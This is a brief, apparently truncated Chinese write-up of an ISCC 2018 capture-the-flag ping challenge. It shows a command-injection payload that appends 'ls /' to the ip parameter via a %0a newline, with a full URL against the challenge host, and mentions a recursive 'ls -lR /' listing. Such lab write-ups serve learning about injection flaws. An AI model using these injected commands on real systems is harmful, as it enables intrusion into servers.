iscc 2018

1.请ping我的ip 看你能Ping通吗？ 我都过滤了，看你怎么绕。题目地址：http://118.190.152.202:8018 思路：命令注入 经测试，?ip=xxx的确可以做到ping %0a截断 linux 命令： ls /命令看根目录 http://118.190.152.202:8018/index.php?ip=127.0.0.1%0Als%20/ 看到如下目录 ls -lR /

>>阅读原文<<